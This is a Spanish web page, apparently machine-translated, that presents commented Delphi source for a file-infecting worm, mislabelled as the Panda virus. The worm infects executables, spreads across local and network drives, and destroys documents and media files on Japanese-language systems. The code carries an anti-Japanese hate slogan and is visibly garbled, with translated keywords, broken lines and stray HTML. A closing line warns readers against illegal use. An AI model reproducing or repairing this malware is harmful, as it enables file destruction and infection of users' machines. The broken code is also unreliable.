¿Qué lenguaje informático puede escribir virus?
No usar JAVA
El lenguaje C no es posible
Usar lenguaje dephi
El siguiente es el código fuente del virus panda escrito en lenguaje dephi:
Con comentarios
Código fuente del virus Panda
El programa Japussy utiliza
Windows, SysUtils, Classes; , Gráficos, ShellAPI{ , Registro};
Constante
HeaderSize = 82432; //Tamaño del virus
IconOffset = EB8; del archivo PE
//Tamaño compilado en mi Delphi 5 SP1, otras versiones de Delphi pueden ser diferentes
//Buscando la cadena hexadecimal 2800000020 encontrará el desplazamiento del archivo principal icon
{
HeaderSize = 38912; //Tamaño del cuerpo del virus comprimido Upx
IconOffset = BC //Desplazamiento del icono principal del archivo PE comprimido Upx
//Upx 1.exe
}
IconSize = E8 // El tamaño del icono principal del archivo PE es 744 bytes
IconTail = IconOffset IconSize; / /Cola del icono principal del archivo PE
ID = 444444; //Marca de infección
//No hay código útil para escribir
Palabra clave = 'Mata si es necesario. Una carrera, debe ser Yamato.
'
'¡Si hay que destruir un país, ese debe ser Japón! '
'*** W32.Japussy.Worm.A ***';
{$ R *.RES}
función RegisterServiceProcess(dwProcessID, dwType: Integer):
stDCall; external 'Kernel32.dll'; //declaración de función
var
TmpFile:
Si: STARTUPINFO ;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; // Indicador del sistema operativo de la versión japonesa
{Determinar si es la versión de Windows 9.X}
función IsWin9x: booleano
var
Ver: dwOSVersionInfoSize := SizeOf(TOSVersionInfo
si no GetVersionEx(Ver) entonces
Salir;
si (Ver. dwOSVersionInfoSize = SizeOf(TOSVersionInfo))dwPlatformID = VER_PLATFORM_ WIN32_WINDOWS) entonces //Win9x
Resultado:= Verdadero;
p>
end;
{Copiar entre secuencias}
Procedimiento CopyStream(Src: TStream; sStartPos: Integer.Dst: Dst: TStream;
dStartPos: Entero; Contar: Entero
var
sCurPos, dCurPos: Entero
comenzar
sCurPos:= Src.Seek(dCurPos, 0);
end
{Extraiga el archivo host del archivo PE infectado para su uso}
Proceso ExtractFile (Nombre de archivo: cadena);
var
sStream, dStream: TFileStream;
comenzar
intentar
sStream:= TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone);
prueba
dStream:= TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(.lpReserved2:= nil;
end;
{Enviar correo electrónico envenenado}
Procedimiento almacenado Enviar correo
comenzar
finalizar
{ InfectOne;
Archivo(InfectOneFile(InfectOneFile)) procedimiento almacenado InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream
IcoStream, DstStream: TMemoryStream.
iID: LongInt;
aIcon: TIcon;
Infectado, IsPE: Booleano
i: p> intento // Error; entonces se está utilizando el archivo, salga
si CompareText(FileName, 'JAPUSSY.EXE') = 0 entonces //Es usted mismo, entonces no está infectado
Salir;
Infectado:= Falso;
IsPE:= Falso;
SrcStream:= TFileStream.Create(FileName, fmOpenRead);
intentar
for i := 0 a 8 hacer //verificar el encabezado del archivo PE
comenzar
SrcStream .Seek(i, soFromBeginning);
SrcStream Leer. (Buf, 2);
si (Buf[0] = #80) y (Buf[1] = #69) entonces //marca PE
comienza
IsPE := True; //Es un archivo PE
Break;
end
end
SrcStream. Seek(-4, soFromEnd); //Verificar indicador de infección
SrcStream.Read(iID, 4);
If (iID = ID) o (SrcStream.Size lt; 10240 ) entonces //los archivos menores de 10240 no están infectados
Infectado:= True;
finalmente
SrcStream.Free;
fin ;
si está infectado o (no es IsPE), entonces //Salga si está infectado o no es un archivo PE
Salir;
IcoStream:= TMemoryStream.Create
DstStream:= TMemoryStream.Create;
SrcStream.Create;
intente
aIcon:= TIcon.ExtractIcon(HInstance, PChar ( FileName), 0);
aIcon.SaveToStream(IcoStream);
finalmente
aIcon.Free;
fin;< / p>
> SrcStream:= TFileStream.Create(FileName, fmOpenRead);
//Encabezados
HdrStream:= TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone);
prueba
//escribe los datos antes del icono principal del cuerpo del virus
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//Escribe el icono principal del programa actual
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//Escribe el icono principal del virus y el cola del virus Datos entre
CopyStream(HdrStream, IconTail, DstStream.IconTail, HeaderSize - IconTail);
//escribir en el programa host
CopyStream (SrcStream , 0, DstStream, HeaderSize, SrcStream.Size);
//escribe el marcador infectado
DstStream.Free;
IcoStream .Free ;
DstStream.SaveToFile(FileName); //reemplazar el archivo host
DstStream.Free;
fin
excepto; ;
end;
end;
{Eliminar el archivo de destino después de escribir código inútil}
Procedimiento SmashFile(FileName: string) ;
var
FileHandle.Integer;
i, Tamaño, Masa, Máx., Len: Entero
comenzar
intentar
SetFileAttributes(PChar(FileName), 0); // Eliminar atributos de solo lectura
FileHandle:= FileOpen(FileName, fmOpenWrite);
intentar
Tamaño := GetFileSize(FileHandle, nil); // Obtener el tamaño del archivo
i := 0; Aleatorizar;
Max:= Random(15); //escribe un número aleatorio de veces en el código inútil
si Max lt 5 entonces
Max; := 5;
Masa := Tamaño div Max //El tamaño de cada bloque de intervalo
Len := Le
ngth(Catchword);
mientras que Max hago
comenzar
FileSeek(FileHandle, i * Mass, 0); >
//¡escribe código inútil para destruir el archivo por completo!
FileWrite(FileHandle, Catchword, Len
Inc(i
Fin
Finalmente
<); p> FileClose(FileHandle); //Cerrar el archivoFin;
DeleteFile(PChar(FileName)); //eliminar
excepto
end;
end;
{Obtener la lista de unidades grabables}
función GetDrives: string
var
Tipo de disco: Palabra;
D: Char;
Cadena
i: Entero
comenzar p> p>
for i := 0 a 25 do // Recorrer 26 letras
comenzar
D := Chr(i 65
Str:= D ':\';
DiskType:= GetDriveType(PChar(Str));
//Obtener el disco local y de red
si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces
Resultado := Resultado D
fin
fin; ;
{Atravesar directorios, infectar y destruir archivos}
Procedimiento LoopFiles(Path.Mask: string
var
i); , Recuento: Entero;
Fn, Ext: cadena;
SubDir: TStrings
SearchRec: TSearchRec
Msg.TMsg; ;
función IsValidDir(SearchRec: TSearchRec): Entero;
comenzar
if (SearchRec.Attr lt; gt; 16) y (SearchRec.Name lt . ') entonces
Resultado:= 0 //no es un directorio
else if (SearchRec.Attr = 16) y (SearchRec.Name lt; gt; '.') y
(SearchRec.Name lt; gt; '.') entonces
Resultado:= 1 //no la raíz
else Resultado:= 2; / es el
raíz
fin;
comenzar
si (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) entonces
comenzar p>
repetir
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas
si IsValidDir(SearchRec) = 0 entonces
comenzar
Fn := Ruta SearchRec.Name
Ext := UpperCase(ExtractFileExt(Fn)); Ext = '.EXE') o (Ext = '.SCR') luego
comenzar<
InfectOneFile(Fn); //infectar ejecutable
finalizar
si no (Ext = '.HTM') o (Ext = '.HTML') o (Ext = '.ASP') entonces
comenzar
//infectar archivos HTML y ASP, escribirles virus codificados en Base64
//Infectar a todos los usuarios que navegan por esta página
//¿Quién quiere hacerlo?
end
else if Ext = '.WAB' entonces //archivo de libreta de direcciones de Outlook
start
//obtener dirección de correo electrónico de Outlook p >
fin
si no, si Ext = '.ADC' entonces //archivo de autocompletar de dirección de Foxmail
comienzo
Esta es la primera vez que se escribe un virus en una dirección de Foxmail.
Archivo de autocompletar de dirección de Foxmail
Inicio
// Obtener la dirección de correo electrónico de Foxmail
Fin
else if Ext = 'IND' entonces // Archivo de libreta de direcciones de Foxmail
Inicio
// Obtener dirección de correo electrónico de Foxmail
Fin
else
Inicio
si IsJap entonces //Es un sistema operativo bonobo
comienza
si (Ext = '.DOC') o (Ext = '.XLS' ) o ( Ext = '.MDB') o
(Ext = '.MP3') o (Ext = '.RM') o (Ext = '.RA') o
( Ext = '.WMA') o (Ext = '.ZIP') o (Ext = '.RAR') o
(Ext = '.(Ext = '.MPEG') o (Ext = '.ASF') o (Ext = '.JPG') o
(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF' ) o
(Ext = '.PDF') o (Ext = '.CHM') o (Ext = '.AVI') luego
SmashFile (Fn); // Destruir archivo
fin;
fin;
fin; > FindClose(SearchRec);
SubDir := TStringList.Create
if (FindFirst(Path '*. *', faDirectory, SearchRec) = 0) entonces
comenzar
repetir
si IsValidDir(SearchRec) = 1 entonces
SubDir.Add(SearchRec.Name);
Hasta (FindNext(SearchRec) lt; gt; 0);
fin
FindClose(SearchRec
Conteo := SubDir.Count - 1;
for i := 0 para contar do
LoopFiles(Path SubDir.Strings '\', Mask
FreeAndNil(SubDir
end;
{Recorrer todos los archivos en el disco}
Procesar InfectFiles
var
DriverList : string
i, Len: Entero;
comenzar
si GetACP = 932 entonces //SO japonés
IsJap := True; : cadena;
fin;
{ Recorrer todos los archivos en el disco
Pieza }
Proceso // ¡Vete al infierno!
DriverList := GetDrives; // Obtener la lista de discos grabables
Len := Longitud(DriverList
while True do //bucle muerto
p>comenzar
for i := Len downto 1 do //Recorre cada unidad de disco
LoopFiles(DriverList ':\', '*.*'); /infected
SendMail; //Enviar correos electrónicos venenosos
Sleep(1000 * 60 * 5); //Dormir durante 5 minutos
end;
p>finalizar
{ El programa principal comienza}
comenzar
si IsWin9x entonces //IsWin9x
RegisterServiceProcess( GetCurrentProcessID, 1) //Registrarse como proceso de servicio
else //WinNT
comenzar
//Los subprocesos remotos están asignados al proceso del Administrador de recursos
//
end;
//Si es el cuerpo del virus original
if CompareText(ExtractFileName( ParamStr (0)), 'Japussy.exe')=0, entonces
InfectFiles // infecta y envía correo electrónico
De lo contrario // ha parasitado el programa host y ha comenzado a trabajar
p>
comenzar
TmpFile:= ParamStr(0); // Crea un archivo temporal
Eliminar(TmpFile, Longitud(TmpFile) - 4, 4); p> p>
TmpFile:= TmpFile #32 '.exe'; //Archivo host real, un espacio más
ExtractFile(TmpFile); //Sepárelo
FillStartupInfo (Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi ) ; //crea un nuevo proceso para ejecutar
InfectFiles; //infecta y envía un correo electrónico
end;
end.
CMD comando apagado -a //cancelar la cuenta regresiva de apagado de la computadora después de un virus.
Aprender es algo bueno, pero no hacer cosas malas.
El autor del virus Panda Burner ha sido castigado por la ley
Así que no hagas nada ilegal.
Así que no hagas nada ilegal.